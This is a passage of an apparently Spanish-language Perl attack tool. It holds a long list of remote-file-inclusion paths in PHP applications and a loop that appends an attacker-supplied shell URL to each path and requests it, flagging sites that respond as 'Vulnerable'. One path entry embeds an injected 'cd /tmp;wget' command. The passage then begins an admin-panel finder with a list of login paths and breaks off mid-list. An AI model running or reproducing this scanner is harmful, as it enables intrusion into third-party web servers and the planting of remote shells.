  446. 'zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=',
  447. 'inc/pipe.php?HCL_path=','include/write.php?dir=','include/new-visitor.inc.php?lvc_include_dir=',
  448. 'includes/header.php?systempath=','support/mailling/maillist/inc/initdb.php?absolute_path=',
  449. 'coppercop/theme.php?THEME_DIR=','becommunity/community/index.php?pageurl=','shoutbox/expanded.php?conf=',
  450. 'agendax/addevent.inc.php?agendax_path=','myPHPCalendar/admin.php?cal_dir=','yabbse/Sources/Packages.php?sourcedir=',
  451. 'path_of_cpcommerce/_functions.php?prefix=','dotproject/modules/projects/addedit.php?root_dir=',
  452. 'dotproject/modules/projects/view.php?root_dir=','dotproject/modules/projects/vw_files.php?root_dir=',
  453. 'dotproject/modules/tasks/addedit.php?root_dir=','dotproject/modules/tasks/viewgantt.php?root_dir=',
  454. 'My_eGallery/public/displayCategory.php?basepath=','modules/My_eGallery/public/displayCategory.php?basepath=',
  455. 'modules/4nAlbum/public/displayCategory.php?basepath=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
  456. 'modules/agendax/addevent.inc.php?agendax_path=','modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
  457. 'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','modules/coppermine/include/init.inc.php?CPG_M_DIR=',
  458. 'modules/mod_mainmenu.php?mosConfig_absolute_path=',
  459. 'shoutbox/expanded.php?conf=','pivot/modules/module_db.php?pivot_path=',
  460. 'library/editor/editor.php?root=','library/lib.php?root=','e107/e107_handlers/secure_img_render.php?p=',
  461. 'main.php?x=','main.php?page=','default.php?page=','index.php?meio.php=',
  462. 'index.php?include= ','index.php?inc= ','index.php?page= ','index.php?pag= ',
  463. 'index.php?p=','index.php?x=','index.php?open= ','index.php?open=','index.php?visualizar=',
  464. 'index.php?pagina=','index.php?content=','index.php?cont=','index.php?c=',
  465. 'index.php?meio=','index.php?x=','index.php?cat=','index.php?site=','index.php?configFile=',
  466. 'index.php?action=','index.php?do=','index2.php?x=','index2.php?content=','template.php?pagina=',
  467. 'inc/step_one_tables.php?server_inc=','GradeMap/index.php?page=','phpshop/index.php?base_dir=',
  468. 'admin.php?cal_dir=','path_of_cpcommerce/_functions.php?prefix=','contacts.php?cal_dir=',
  469. 'convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=','mainfile.php?MAIN_PATH=',
  470. 'dotproject/modules/files/index_table.php?root_dir=','html/affich.php?base=',
  471. 'gallery/init.php?HTTP_POST_VARS=','pm/lib.inc.php?pm_path=','ideabox/include.php?gorumDir=',
  472. 'index2.php?includes_dir=','forums/toplist.php?phpbb_root_path=','forum/toplist.php?phpbb_root_path=',
  473. 'admin/config_settings.tpl.php?include_path=','include/common.php?include_path=',
  474. 'event/index.php?page=','forum/index.php?includeFooter=','forums/index.php?includeFooter=',
  475. 'forum/bb_admin.php?includeFooter=','forums/bb_admin.php?includeFooter=',
  476. 'language/lang_english/lang_activity.php?phpbb_root_path=',
  477. 'forum/language/lang_english/lang_activity.php?phpbb_root_path=',
  478. 'blend_data/blend_common.php?phpbb_root_path=','master.php?root_path=',
  479. 'includes/kb_constants.php?module_root_path=','forum/includes/kb_constants.php?module_root_path=',
  480. 'forums/includes/kb_constants.php?module_root_path=','classes/adodbt/sql.php?classes_dir=',
  481. 'agenda.php3?rootagenda=','agenda2.php3?rootagenda=','sources/lostpw.php?CONFIG[path]=',
  482. 'topsites/sources/lostpw.php?CONFIG[path]=','toplist/sources/lostpw.php?CONFIG[path]=',
  483. 'sources/join.php?CONFIG[path]=','topsites/sources/join.php?CONFIG[path]=','toplist/sources/join.php?CONFIG[path]=',
  484. 'topsite/sources/join.php?CONFIG[path]=','public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=',
  485. 'extras/poll/poll.php?file_newsportal=','index.php?site_path=','mail/index.php?site_path=','fclick/show.php?path=',
  486. 'show.php?path=','calogic/reconfig.php?GLOBALS[CLPath]=','eshow.php?Config_rootdir=',
  487. 'auction/auction_common.php?phpbb_root_path=','index.php?inc_dir=','calendar/index.php?inc_dir=',
  488. 'modules/TotalCalendar/index.php?inc_dir=','modules/calendar/index.php?inc_dir=','calendar/embed/day.php?path=',
  489. 'ACalendar/embed/day.php?path=','calendar/add_event.php?inc_dir=',
  490. 'claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=',
  491. 'claroline/auth/ldap/authldap.php?includePath=','docebo/modules/credits/help.php?lang=',
  492. 'modules/credits/help.php?lang=','config.php?returnpath=','editsite.php?returnpath=','in.php?returnpath=',
  493. 'addsite.php?returnpath=','includes/pafiledb_constants.php?module_root_path='
  494. ,'phpBB/includes/pafiledb_constants.php?module_root_path=',
  495. 'pafiledb/includes/pafiledb_constants.php?module_root_path=','auth/auth.php?phpbb_root_path=',
  496. 'auth/auth_phpbb/phpbb_root_path=','apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=',
  497. 'apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=',
  498. 'infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=',
  499. 'phpdig/includes/config.php?relative_script_path=','includes/phpdig/includes/config.php?relative_script_path=',
  500. 'includes/dbal.php?eqdkp_root_path=','eqdkp/includes/dbal.php?eqdkp_root_path=',
  501. 'dkp/includes/dbal.php?eqdkp_root_path=',
  502. 'path/include/SQuery/gameSpy2.php?libpath=','include/global.php?GLOBALS[includeBit]=','topsites/config.php?returnpath=',
  503. 'manager/frontinc/prepend.php?_PX_config[manager_path]=','ubbthreads/addpost_newpoll.php?addpoll=thispath=',
  504. 'forum/addpost_newpoll.php?thispath=','forums/addpost_newpoll.php?thispath=','ubbthreads/ubbt.inc.php?thispath=',
  505. 'forums/ubbt.inc.php?thispath=','forum/ubbt.inc.php?thispath=','forum/admin/addentry.php?phpbb_root_path=',
  506. 'admin/addentry.php?phpbb_root_path=','index.php?f=','index.php?act=','ipchat.php?root_path=',
  507. 'includes/orderSuccess.inc.php?glob[rootDir]=','stats.php?dir[func]=dir[base]=','ladder/stats.php?dir[base]=',
  508. 'ladders/stats.php?dir[base]=','sphider/admin/configset.php?settings_dir=','admin/configset.php?settings_dir=',
  509. 'vwar/admin/admin.php?vwar_root=','modules/vwar/admin/admin.php?vwar_root=',
  510. 'modules/vWar_Account/includes/get_header.php?vwar_root=',
  511. 'modules/vWar_Account/includes/functions_common.php?vwar_root2=','sphider/admin/configset.php?settings_dir=',
  512. 'admin/configset.php?settings_dir=','impex/ImpExData.php?systempath=','forum/impex/ImpExData.php?systempath=',
  513. 'forums/impex/ImpExData.php?systempath=','application.php?base_path=','index.php?theme_path=',
  514. 'become_editor.php?theme_path=','add.php?theme_path=','bad_link.php?theme_path=','browse.php?theme_path=',
  515. 'detail.php?theme_path=','fav.php?theme_path=','get_rated.php?theme_path=','login.php?theme_path=',
  516. 'mailing_list.php?theme_path=','new.php?theme_path=','modify.php?theme_path=','pick.php?theme_path=',
  517. 'power_search.php?theme_path=','rating.php?theme_path=','register.php?theme_path=',
  518. 'review.php?theme_path=','rss.php?theme_path=','search.php?theme_path=','send_pwd.php?theme_path=',
  519. 'sendmail.php?theme_path=','tell_friend.php?theme_path=','top_rated.php?theme_path=',
  520. 'user_detail.php?theme_path=','user_search.php?theme_path=','invoice.php?base_path=',
  521. 'cgi-bin//classes/adodbt/sql.php?classes_dir=','cgi-bin/install/index.php?G_PATH=',
  522. 'cgi-bin/include/print_category.php?dir=','includes/class_template.php?quezza_root_path=',
  523. 'bazar/classified_right.php?language_dir=','classified_right.php?language_dir=',
  524. 'phpBazar/classified_right.php?language_dir=','chat/messagesL.php3?cmd=',
  525. 'phpMyChat/chat/messagesL.php3?cmd=','bbs/include/write.php?dir=',
  526. 'visitorupload.php?cmd=','modules/center/admin/accounts/process.php?module_path]=',
  527. 'index.php?template=','armygame.php?libpath=','lire.php?rub=',
  528. 'pathofhostadmin/?page=','apa_phpinclude.inc.php?apa_module_basedir=',
  529. 'index.php?req_path=','research/boards/encapsbb-0.3.2_fixed/index_header.php?root=',
  530. 'Farsi1/index.php?archive=','index.php?archive=','show_archives.php?template=',
  531. 'forum/include/common.php?pun_root=','pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=',
  532. 'vuln.php?=','cgi-bin//include/write.php?dir=','admin/common.inc.php?basepath=',
  533. 'pm/lib.inc.php?sfx=','pm/lib.inc.php?pm_path=','artmedic-kleinanzeigen-path/index.php?id=',
  534. 'index.php?pagina=','osticket/include/main.php?include_dir=',
  535. 'include/main.php?config[search_disp]=include_dir=','phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=',
  536. 'quick_reply.php?phpbb_root_path=','zboard/include/write.php?dir=',
  537. 'PATH/admin/plog-admin-functions.php?configbasedir=',
  538. 'path_to_phpgreetz/content.php?content=','path_to_qnews/q-news.php?id=',
  539. '_conf/core/common-tpl-vars.php?confdir=','votebox.php?VoteBoxPath=',
  540. 'al_initialize.php?alpath=','include/db.php?GLOBALS[rootdp]=',
  541. 'modules/news/archivednews.php?GLOBALS[language_home]=',
  542. 'protection.php?siteurl=','modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=',
  543. 'index2.php?includes_dir=','classes.php?LOCAL_PATH=',
  544. 'extensions/moblog/moblog_lib.php?basedir=',
  545. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=',
  546. 'phpWebLog/include/init.inc.php?G_PATH=','admin/objects.inc.php4?Server=',
  547. 'trg_news30/trgnews/install/article.php?dir=','block.php?Include=','arpuivo.php?data=',
  548. 'path_to_gallery/setup/index.php?GALLERY_BASEDIR=','include/help.php?base=',
  549. 'index.php?[Home]=','path_to_script/block.php?Include=','examples/phonebook.php?page=',
  550. 'PHPNews/auth.php?path=','include/print_category.php?dir=','skin/zero_vote/login.php?dir=',
  551. 'skin/zero_vote/setup.php?dir=','skin/zero_vote/ask_password.php?dir=',
  552. 'gui/include/sql.php?include_path=',
  553. 'webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=',
  554. 'email.php?login=cer_skin=','PhotoGal/ops/gals.php?news_file=',
  555. 'index.php?custom=',
  556. 'loginout.php?cutepath=','oneadmin/config.php?path[docroot]=',
  557. 'xcomic/initialize.php?xcomicRootPath=',
  558. 'skin/zero_vote/setup.php?dir=','skin/zero_vote/error.php? dir=',
  559. 'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
  560. 'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
  561. 'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
  562. 'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
  563. 'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
  564. 'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
  565. 'src/index_overview.inc.php?config[path_src_include]=',
  566. 'src/index_leftnavbar.inc.php?config[path_src_include]=',
  567. 'src/index_image.inc.php?config[path_src_include]=',
  568. 'src/image-gd.class.php?config[path_src_include]=',
  569. 'src/image.class.php?config[path_src_include]=','src/album.class.php?config[path_src_include]=',
  570. 'src/show_random.inc.php?config[path_src_include]=',
  571. 'src/main.inc.php?config[path_src_include]=',
  572. 'src/index_passwd-admin.inc.php?config[path_admin_include]=',
  573. 'yappa-ng/src/index_overview.inc.php?config[path_src_include]=',
  574. 'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
  575. 'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
  576. 'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
  577. 'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
  578. 'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
  579. 'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
  580. 'src/index_overview.inc.php?config[path_src_include]=','src/image-gd.class.php?config[path_src_include]=',
  581. 'src/image.class.php?config[image_module]=','src/album.class.php?config[path_src_include]=',
  582. 'src/show_random.inc.php?config[path_src_include]=','src/main.inc.php?config[path_src_include]=',
  583. 'includes/db_adodb.php?baseDir=','includes/db_connect.php?baseDir=','includes/session.php?baseDir=',
  584. 'modules/projects/gantt.php?dPconfig[root_dir]=','modules/projects/gantt2.php?dPconfig[root_dir]=',
  585. 'modules/projects/vw_files.php?dPconfig[root_dir]=','modules/admin/vw_usr_roles.php?baseDir=',
  586. 'modules/public/calendar.php?baseDir=','modules/public/date_format.php?baseDir=',
  587. 'modules/tasks/gantt.php?baseDir=','mantis/login_page.php?g_meta_include_file=',
  588. 'phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=',
  589. 'modules/My_eGallery/public/displayCategory.php?basepath=',
  590. 'dotproject/modules/files/index_table.php?root_dir=','nukebrowser.php?filnavn=',
  591. 'bug_sponsorship_list_view_inc.php?t_core_path=','modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
  592. 'modules/coppermine/themes/maze/theme.php?THEME_DIR=',
  593. 'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
  594. 'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=',
  595. 'phpBB/admin/admin_styles.php?mode=','aMember/plugins/db/mysql/mysql.inc.php?config=',
  596. 'admin/lang.php?CMS_ADMIN_PAGE=','inc/pipe.php?HCL_path=',
  597. 'include/write.php?dir=','becommunity/community/index.php?pageurl=',
  598. 'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
  599. 'modules/mod_mainmenu.php?mosConfig_absolute_path=',
  600. 'modules/agendax/addevent.inc.php?agendax_path=','shoutbox/expanded.php?conf=',
  601. 'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  602. 'index.php?page=','index.php?pag=','index.php?include=','index.php?content=',
  603. 'index.php?cont=','index.php?c=','modules/My_eGallery/index.php?basepath=',
  604. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath=','journal.php?m=',
  605. 'index.php?m=','links.php?c=','forums.php?m=','list.php?c=','user.php?xoops_redirect=',
  606. 'index.php?id=','r.php?url=','CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=',
  607. 'inc/formmail.inc.php?script_root=','include/init.inc.php?G_PATH=',
  608. 'backend/addons/links/index.php?PATH=','modules/newbb_plus/class/class.forumposts.php?bbPath[path]=',
  609. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=','protection.php?siteurl=',
  610. 'htmltonuke.php?filnavn=','mail_autocheck.php?pm_path=','index.php?p=',
  611. 'modules/4nAlbum/public/displayCategory.php?basepath=','e107/e107_handlers/secure_img_render.php?p=',
  612. 'include/new-visitor.inc.php?lvc_include_dir=','path_of_cpcommerce/_functions.php?prefix=',
  613. 'community/modules/agendax/addevent.inc.php?agendax_path=','library/editor/editor.php?root=',
  614. 'library/lib.php?root=','zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=',
  615. 'main.php?x=','myPHPCalendar/admin.php?cal_dir=','index.php/main.php?x=',
  616. 'index.php?x=','index.php?open=','index.php?visualizar=',
  617. 'template.php?pagina=','index.php?inc=','includes/include_onde.php?include_file=',
  618. 'index.php?pg=','index.php?show=','index.php?cat=','print.php?val1=',
  619. 'cmd.php?function=','iframe.php?file=','os/pointer.php?url=',
  620. 'p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=',
  621. 'index.php?file=','db.php?path_local=','phpGedView/individual.php?PGV_BASE_DIRECTORY=',
  622. 'index.php?kietu[url_hit]=','phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
  623. 'Sources/Packages.php?sourcedir=','yabbse/Sources/Packages.php?sourcedir=',
  624. 'modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=',
  625. 'cgi-bin//gadgets/Blog/BlogModel.php?path=','cgi-bin//admin.php?cal_dir=',
  626. 'gallery/captionator.php?GALLERY_BASEDIR=','cgi-bin/main.php?x=',
  627. 'Blog/BlogModel.php?path=','admin.php?cal_dir=','expanded.php?conf=',
  628. 'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','pollvote/pollvote.php?pollname=',
  629. 'displayCategory.php?basepath=','phpBB2/admin/admin_cash.php?phpbb_root_path=',
  630. 'modules/foro/includes/functions_admin.php?phpbb_root_path=',
  631. 'modules/Forums/admin/admin_forums.php?phpEx=','modules/Forums/admin/admin_disallow.php?phpEx=',
  632. 'modules/Forums/admin/admin_smilies.php?phpEx=','modules/Forums/admin/admin_board.php?phpEx=',
  633. 'modules/Forums/admin/admin_users.php?phpEx=','modules/Forums/admin/admin_mass_email.php?phpEx=',
  634. 'modules/Forums/admin/admin_forum_prune.php?phpEx=',
  635. 'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
  636. 'index.php?hc=','mt-comments.cgi?id=','webcalendar/tools/send_reminders.php?includedir=',
  637. 'cmd/product_info.php/products_id/1622/shop_content.php?coID=','addevent.inc.php?agendax_path=',
  638. 'step_one.php?server_inc=','upgrade_album.php?GALLERY_BASEDIR=','search.php?cutepath=',
  639. 'modules.php?name=','wagora/extras//quicklist.php?site=','vCard/admin/define.inc.php?match=',
  640. 'forum/ubbthreads.php?Cat=','admin/includes/classes/spaw/spaw_control.class.php?spaw_root=',
  641. 'secure.php?cfgProgDir=','modules/My_eGallery/public//inc/?HCL_path=',
  642. 'modules/My_eGallery/public/imagen.php?basepath=',
  643. 'adlayer.php?layerstyle=','Forums/bb_smilies.php?name=','modules/Forums/bb_smilies.php?name=',
  644. 'gadgets/Blog/BlogModel.php?path=','learnlinc/clmcpreload.php?CLPATH=','modernbill/samples/news.php?DIR=',
  645. 'religions/faq.php?page=','forum/viewtopic.php?t=','announcements.php?includePath=',
  646. 'inc/header.php/step_one.php?server_inc=','phpatm/index.php?include_location=',
  647. 'gb/form.inc.php3?lang=','shannen/index.php?x=','family/phpgedview/index.php?PGV_BASE_DIRECTORY=',
  648. 'main.php?left=','forum/misc.php?action=','nucleus/libs/globalfunctions.php?DIR_LIBS=',
  649. 'show_archives.php?cutepath=','gallery.php=','magicforum/misc.php?action=',
  650. 'forum/admin/actions/del.php?include_path=','index.php?meio=','local/investing_industrialeastate1.php?a=',
  651. 'modules/coppermine/themes/default/theme.php?THEME_DIR','Popper/index.php?childwindow.inc.php?form=',
  652. 'class.mysql.php?path_to_bt_dir=','include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
  653. 'eyeos/desktop.php?baccio=',
  654. 'ashnews.php?pathtoashnews=','index.php?modpath=','becommunity/community/index.php?pageurl=',
  655. 'index.php?sqld=','modules/module_db.php?pivot_path=','catalog/includes/include_once.php?include_file=',
  656. 'cgi-bin/calendar.pl?fromTemplate=','live/inc/pipe.php?HCL_path=',
  657. 'zb41/include/write.php?dir=','cgi-bin/awstats.pl?logfile=','presse/stampa.php3?azione=',
  658. 'inc/step_one_tables.php?server_inc=','index.php?mainpage=','phpprojekt/lib/authform.inc.php?path_pre=',
  659. 'captionator.php?GALLERY_BASEDIR=','_head.php?_zb_path=.example.com',
  660. 'achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=',
  661. 'gallery/captionator.php?GALLERY_BASEDIR=.example.com','globals.php3?LangCookie=.example.com',
  662. 'include/msql.php?inc_dir=','include/mssql7.php?inc_dir=','include/mysql.php?inc_dir=',
  663. 'include/oci8.php?inc_dir=','include/postgres.php?inc_dir=',
  664. 'include/postgres65.php?inc_dir=','install.php?phpbb_root_dir=',
  665. 'mantis/login_page.php?g_meta_inc_dir=','page.php?template=',
  666. 'phorum/admin/actions/del.php?include_path=','pollensondage.inc.php?app_path=',
  667. 'user/agora_user.php?inc_dir=','user/ldap_example.php?inc_dir=',
  668. 'userlist.php?ME=.example.com','_functions.php?prefix=',
  669. 'cpcommerce/_functions.php?prefix=','ashnews.php?pathtoashnews=cd /tmp;wget',
  670. 'eblog/blog.inc.php?xoopsConfig[xoops_url]=','b2-tools/gm-2-b2.php?b2inc=',
  671. 'includes/include_once.php?include_file=','modules.php?name=jokeid=',
  672. 'index.php?site=','livehelp/inc/pipe.php?HCL_path=',
  673. 'hcl/inc/pipe.php?HCL_path=','support/faq/inc/pipe.php?HCL_path=',
  674. 'help/faq/inc/pipe.php?HCL_path=','helpcenter/inc/pipe.php?HCL_path=',
  675. 'live-support/inc/pipe.php?HCL_path=','gnu3/index.php?doc=',
  676. 'gnu/index.php?doc=','phpgwapi/setup/tables_update.inc.php?appdir=',
  677. 'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=',
  678. 'inc/authform.inc.php?path_pre=','include/authform.inc.php?path_pre=',
  679. 'web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR=',
  680. 'web_statistics//tools/send_reminders.php?includedir=',
  681. 'web_statistics//include/write.php?dir=',
  682. 'web_statistics//modules/My_eGallery/public/displayCategory.php?basepath=',
  683. 'web_statistics//calendar/tools/send_reminders.php?includedir=',
  684. 'web_statistics//skin/zero_vote/error.php?dir=',
  685. 'web_statistics//coppercop/theme.php?THEME_DIR=',
  686. 'includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
  687. 'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=',
  688. 'ashheadlines.php?pathtoashnews=','demo/includes/init.php?user_inc=',
  689. 'jaf/index.php?show=','inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
  690. 'sources/post.php?fil_config=','bb_lib/checkdb.inc.php?libpach=',
  691. 'include/livre_include.php?chem_absolu=','index.php?pageurl=',
  692. 'derniers_commentaires.php?rep=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
  693. 'coppermine/themes/maze/theme.php?THEME_DIR=','allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
  694. 'allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
  695. 'agendax/addevent.inc.php?agendax_path=','main.php?page=','default.php?page=',
  696. 'index.php?action=','index1.php?p=','index2.php?x=','index2.php?content=',
  697. 'index.php?conteudo=','GradeMap/index.php?page=','phpopenchat/contrib/yabbse/poc.php?sourcedir=',
  698. 'calendar/calendar.php?serverPath=','calendar/functions/popup.php?serverPath=',
  699. 'calendar/events/header.inc.php?serverPath=','calendar/events/datePicker.php?serverPath=',
  700. 'calendar/setup/setupSQL.php?serverPath=','calendar/setup/header.inc.php?serverPath=',
  701. 'install/index.php?G_PATH=','support/mailling/maillist/inc/initdb.php?absolute_path=',
  702. 'coppercop/theme.php?THEME_DIR=','dotproject/modules/projects/addedit.php?root_dir=',
  703. 'dotproject/modules/projects/view.php?root_dir=','dotproject/modules/projects/vw_files.php?root_dir=',
  704. 'dotproject/modules/tasks/addedit.php?root_dir=',
  705. 'dotproject/modules/tasks/viewgantt.php?root_dir=',
  706. 'My_eGallery/public/displayCategory.php?basepath=',
  707. 'index.php?meio.php=','index.php?configFile=','index.php?do=',
  708. 'phpshop/index.php?base_dir=','contacts.php?cal_dir=',
  709. 'convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=',
  710. 'mainfile.php?MAIN_PATH=','html/affich.php?base=',
  711. 'gallery/init.php?HTTP_POST_VARS=','ideabox/include.php?gorumDir=',
  712. 'stats/modules/My_eGallery/index.php?basepath=',
  713. 'stats/include/write.php?dir=','stats/tools/send_reminders.php?includedir=',
  714. 'index.cgiupgrade_album.php?GALLERY_BASEDIR=',
  715. 'pollvote/pollvote.php?pollname','includes/page_header.php?dir=',
  716. 'index2.php?mosConfig_absolute_path=','new/bbs//include/write.php?dir=',
  717. 'index.php?mosConfig_absolute_path=','modules/My_eGallery/public/inc/?HCL_path=',
  718. 'forum/auth/auth.php?phpbb_root_path=','forum/auth/auth_phpbb/phpbb_root_path=',
  719. 'cutenews/comments.php?cutepath=','library/lib.php?root=',
  720. 'impex/ImpExData.php?systempath=','coppermine/thumbnails.php?lang=',
  721. 'gallery/thumbnails.php?lang=','aWebNews/visview.php?path_to_news=',
  722. 'ashnews.php?pathtoashnews=','4images/index.php?template=',
  723. 'galeri/index.php?template=',
  724. 'components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=',
  725. 'components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=',
  726. 'components/com_smf/smf.php?mosConfig_absolute_path=',
  727. 'components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=',
  728. 'components/com_simpleboard/image_upload.php?sbp=',
  729. 'gallery/index.php?template=','auth/auth.php?phpbb_root_path=',
  730. 'auth/auth_phpbb/phpbb_root_path=','modules/Forums/admin/index.php?phpbb_root_path=',
  731. 'modules/Forums/admin/admin_avatar.php?phpbb_root_path=',
  732. 'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
  733. '_wk/wk_lang.php?wkPath=','shoutbox/expanded.php?conf=',
  734. 'myPHPCalendar/admin.php?cal_dir=','phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
  735. 'modules/Forums/admin/admin_board.php?phpEx=',
  736. 'modules/Forums/admin/admin_users.php?phpEx=',
  737. 'library/editor/editor.php?root=','library/lib.php?root=',
  738. 'e107/e107_handlers/secure_img_render.php?p=',
  739. 'modules/My_eGallery/public/displayCategory.php?basepath=',
  740. 'modules/My_eGallery/index.php?basepath=',
  741. 'modules/coppermine/themes/default/theme.php?THEME_DIR=',
  742. 'modules/4nAlbum/public/displayCategory.php?basepath=',
  743. 'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
  744. 'modules/coppermine/themes/maze/theme.php?THEME_DIR=',
  745. 'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
  746. 'phpBB/admin/admin_styles.php?mode=',
  747. 'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
  748. 'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  749. 'index.php?page=','index.php?pag=','index.php?sayfa=',
  750. 'index.php?pg=','index.php?include=','index.php?content=',
  751. 'index.php?p=','index.php?s=','index.php?cont=','index.php?c=',
  752. 'journal.php?m=','index.php?m=','links.php?c=','forums.php?m=',
  753. 'list.php?c=','journal.php?m=','user.php?xoops_redirect=',
  754. 'index.php?id='
  755. ); }
  756.  
  757. #Cargamos los Paths uno por uno con foreach
  758. foreach $rfi(@paths){
  759.  
  760. #final sera = a la web junto con el path
  761. $final = $web."/".$rfi.$shell;
  762. chop($final);
  763.  
  764. #declaramos variables para esperar una respuesta de la web
  765. $request = HTTP::Request->new(GET=>$final);
  766. $useragent = LWP::UserAgent->new();
  767.  
  768. #Con esto Pasamos la web con path por path esperando respuesta
  769. $respuesta = $useragent->request($request);
  770.  
  771. #declaramos variables para esperar una respuesta de la web
  772. if ($respuesta->is_success && $respuesta->content =~ /shell/)
  773.  
  774. #sera vulnerable la web
  775. { $msg = " * Vulnerable";
  776. print ("[$msg]..........$final\n")
  777. }
  778.  
  779.  
  780. #de lo contrario
  781. else
  782. { $msg = " * No Encontrado\n";
  783. }
  784. chop($msg);
  785.  
  786. if ($proseso =~ /s|S/)
  787.  
  788. {  #mostrara el mensage junto con el path
  789. print ("[$msg]..........$final\n"); }
  790.  
  791.  
  792. }  }
  793.  
  794.  
  795. if ($opciones =~ /p/|/p/) {
  796. ##################Scanner RFI#######################
  797. system("cls");
  798. system("clear");
  799. # Panel Finder
  800. print q (
  801.  
  802. ------- ------------------------------------------
  803. .-..-. _       .----.       .---.  _          .-.          
  804. : :: ::_;      `--  ;       : .--':_;         : :          
  805. : :: :.-..---.  .' ' .--.   : `;  .-.,-.,-. .-' : .--. .--.
  806. : `' ;: :: .; ` _`,`.: ..'  : :   : :: ,. :' .; :' '_.': ..'
  807. `.,' :_;: ._.'`.__.':_;    :_;   :_;:_;:_;`.__.'`.__.':_;  
  808.         : :                                                
  809.         :_;                                                
  810. ------- ------------------------------------------
  811.  
  812.  
  813. Inserta la web a escanear...    (http://web.com)
  814.  
  815. );
  816.  
  817. if ($web1 !~ /http/)
  818. {
  819. $web="http://".$web1;
  820. } else { $web=$web1; }
  821.  
  822. print("\n * Analizando la Pagina... \n   ".$web,"\n");
  823.  
  824. @paths=('
  825. admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  826. 'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
  827. 'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
  828. 'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
  829. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
  830. 'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
  831. 'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
  832. 'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
  833. 'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
  834. 'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
  835. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
  836. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
  837. 'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
